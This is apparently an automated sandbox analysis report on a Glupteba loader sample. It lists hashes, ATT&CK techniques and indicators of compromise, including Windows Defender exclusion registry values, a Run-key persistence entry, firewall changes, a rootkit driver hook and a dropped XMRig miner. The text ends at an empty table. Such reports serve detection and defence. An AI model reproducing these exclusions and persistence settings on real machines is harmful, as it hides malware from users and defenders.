glupteba | acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c

Analysis

max time kernel
291s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
18-04-2024 23:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Size

4.2MB
MD5

49a9dd02764bfa2e7b291ead697ee2ad
SHA1

81586bd3beb9d9b0f39031294069baf101b82be6
SHA256

acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c
SHA512

a073ebcb32135740e37c1fbc0d76acf514a80df356a4a2ba791d6cc6646fc8854ee3ca9d16b305859b36b963751fb943dd4f802eaedb038ccf28a3e657d728c0
SSDEEP

98304:+2SaIQvbQwPoUoX+ssXpcUgoav4xR/Dl9wlfOsN9GV/e3k:+79+Q+oUS+DcUdQ4xVluxNd3k

Score

10^/10

glupteba xmrig discovery dropper evasion loader miner persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 35 IoCs

Processes:

resource	yara_rule
behavioral2/memory/5036-2-0x0000000005130000-0x0000000005A1B000-memory.dmp	family_glupteba
behavioral2/memory/5036-3-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/5036-301-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/5036-303-0x0000000005130000-0x0000000005A1B000-memory.dmp	family_glupteba
behavioral2/memory/2704-306-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/2704-802-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/2704-1041-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1047-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1784-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1793-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1794-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1796-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1799-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1801-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1802-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1804-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1806-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1809-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1811-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1812-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1814-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1817-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1819-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1821-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1822-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1824-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1827-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1829-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1830-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1832-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1834-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1837-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1839-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-1841-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba
behavioral2/memory/4720-2088-0x0000000000400000-0x000000000300A000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

2544 netsh.exe
Executes dropped EXE 5 IoCs

Processes:

csrss.exeinjector.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.exe

pid process

4720 csrss.exe
4664 injector.exe
4144 windefender.exe
2256 windefender.exe
196 dcb505dc2b9d8aac05f4ca0727f5eadb.exe

pid	process
2544	netsh.exe

pid	process
4720	csrss.exe
4664	injector.exe
4144	windefender.exe
2256	windefender.exe
196	dcb505dc2b9d8aac05f4ca0727f5eadb.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
behavioral2/memory/4144-1792-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2256-1795-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2256-1798-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe	upx
behavioral2/memory/196-2325-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe	upx
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe	upx
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

csrss.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

Drops file in Windows directory 4 IoCs

Processes:

acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.execsrss.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

4424 sc.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1260 schtasks.exe
4272 schtasks.exe
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 43 Go-http-client/1.1
HTTP User-Agent header 41 Go-http-client/1.1

pid	process
4424	sc.exe

pid	process
1260	schtasks.exe
4272	schtasks.exe

description	flow	ioc
HTTP User-Agent header	43	Go-http-client/1.1
HTTP User-Agent header	41	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exewindefender.exepowershell.exepowershell.exepowershell.exepowershell.exenetsh.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2062 = "North Korea Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-511 = "Central Asia Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-872 = "Pakistan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-982 = "Kamchatka Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2391 = "Aleutian Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-771 = "Montevideo Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2572 = "Turks and Caicos Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2371 = "Easter Island Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-221 = "Alaskan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2611 = "Bougainville Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exepowershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exe

pid	process
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
5036	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
5036	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
4064	powershell.exe
4064	powershell.exe
4064	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4072	powershell.exe
4072	powershell.exe
4072	powershell.exe
5056	powershell.exe
5056	powershell.exe
5056	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4720	csrss.exe
4720	csrss.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4720	csrss.exe
4720	csrss.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4720	csrss.exe
4720	csrss.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe
4664	injector.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	5036	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Token: SeImpersonatePrivilege	5036	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeSystemEnvironmentPrivilege	4720	csrss.exe
Token: SeSecurityPrivilege	4424	sc.exe
Token: SeSecurityPrivilege	4424	sc.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.execmd.execsrss.exewindefender.execmd.exe

description	pid	process	target process
